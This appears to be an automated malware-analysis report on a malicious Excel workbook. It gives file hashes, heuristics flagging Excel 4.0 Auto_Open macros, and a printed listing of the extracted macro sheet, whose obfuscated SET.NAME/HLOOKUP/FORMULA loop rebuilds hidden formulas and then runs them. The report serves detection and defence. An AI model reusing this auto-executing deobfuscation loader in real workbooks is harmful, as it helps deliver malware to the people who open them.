Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cb008bb8ebf6e1d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:43 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: e98c0163ac60e9aab16725717e999885 SHA-1: 7f7f633418aba5c671aaa1509dc404112f59af99 SHA-256: 3cb008bb8ebf6e1db12ba519074a2f335e940826fcf4c426614cc89970e45596
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6697 bytes
SHA-256: 56cb0231027bfcea33feed8d2e76ebe1b939401876b749c3013f0e16533afad4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gzhNmnWYKFU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C198 
' 0018     24 LABEL : Cell Value, String Constant - bOtZpAWvU len=0 
' 0018     23 LABEL : Cell Value, String Constant - CmKJphrC len=0 
' 0018     20 LABEL : Cell Value, String Constant - CVOVW len=0 
' 0018     24 LABEL : Cell Value, String Constant - dxBZMwqjH len=0 
' 0018     26 LABEL : Cell Value, String Constant - eVUByLEUFAo len=0 
' 0018     22 LABEL : Cell Value, String Constant - FFPTpnT len=0 
' 0018     20 LABEL : Cell Value, String Constant - gXywZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - jBaKshXqZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - Klfydqsd len=0 
' 0018     20 LABEL : Cell Value, String Constant - KXDDB len=0 
' 0018     25 LABEL : Cell Value, String Constant - lRWvwSxniv len=0 
' 0018     20 LABEL : Cell Value, String Constant - mTiSH len=0 
' 0018     25 LABEL : Cell Value, String Constant - MWkcSyndpy len=0 
' 0018     21 LABEL : Cell Value, String Constant - ogmdDF len=0 
' 0018     26 LABEL : Cell Value, String Constant - PuRTZDwzqbX len=0 
' 0018     27 LABEL : Cell Value, String Constant - RIJGlmrsFess len=0 
' 0018     25 LABEL : Cell Value, String Constant - tMIkjOuOEZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - XePJZTpMU len=0 
' 0018     22 LABEL : Cell Value, String Constant - XpLyzQj len=0 
' 0018     25 LABEL : Cell Value, String Constant - xTHjtlHGQK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gzhNmnWYKFU,C100,"SET.NAME("XpLyzQj",VALUE("0"))",""
'  gzhNmnWYKFU,C103,"SET.NAME("gXywZ",XpLyzQj)",""
'  gzhNmnWYKFU,C105,"SET.NAME("bOtZpAWvU",XpLyzQj)",""
'  gzhNmnWYKFU,C110,"SET.NAME("ogmdDF",COUNTA(Klfydqsd))",""
'  gzhNmnWYKFU,C112,"SET.NAME("CVOVW",COUNTA(KXDDB))",""
'  gzhNmnWYKFU,C116,[],""
'  gzhNmnWYKFU,C121,"SET.NAME("XePJZTpMU","")",""
'  gzhNmnWYKFU,C125,"gXywZ",""
'  gzhNmnWYKFU,C128,"SET.NAME("jBaKshXqZ",HLOOKUP("*",Klfydqsd,gXywZ,FALSE))",""
'  gzhNmnWYKFU,C132,"xTHjtlHGQK",""
'  gzhNmnWYKFU,C137,"SET.NAME("eVUByLEUFAo",XpLyzQj)",""
'  gzhNmnWYKFU,C142,[],""
'  gzhNmnWYKFU,C147,"eVUByLEUFAo",""
'  gzhNmnWYKFU,C152,"mTiSH",""
'  gzhNmnWYKFU,C154,"FFPTpnT",""
'  gzhNmnWYKFU,C156,"RIJGlmrsFess",""
'  gzhNmnWYKFU,C158,"SET.NAME("PuRTZDwzqbX",VALUE(HLOOKUP("*",KXDDB,RIJGlmrsFess,FALSE)))",""
'  gzhNmnWYKFU,C163,"dxBZMwqjH",""
'  gzhNmnWYKFU,C167,"XePJZTpMU",""
'  gzhNmnWYKFU,C170,"bOtZpAWvU",""
'  gzhNmnWYKFU,C175,NEXT(),""
'  gzhNmnWYKFU,C177,"tMIkjOuOEZ",""
'  gzhNmnWYKFU,C181,"SET.NAME("f",INT(T(FORMULA(T(XePJZTpMU)&"",""&T(tMIkjOuOEZ)))))",""
'  gzhNmnWYKFU,C185,"lRWvwSxniv",""
'  gzhNmnWYKFU,C190,NEXT(),""
'  gzhNmnWYKFU,C194,RETURN(),""
'  gzhNmnWYKFU,C219,"SET.NAME("MWkcSyndpy",C100)",""
'  gzhNmnWYKFU,C221,"Klfydqsd",""
'  gzhNmnWYKFU,C224,"SET.NAME("KXDDB",R93C11)",""
'  gzhNmnWYKFU,C226,"SET.NAME("lRWvwSxniv",231)",""
'  gzhNmnWYKFU,C228,"SET.NAME("CmKJphrC",3)",""
'  gzhNmnWYKFU,C230,MWkcSyndpy(),""
'  gzhNmnWYKFU,C231,HALT(),""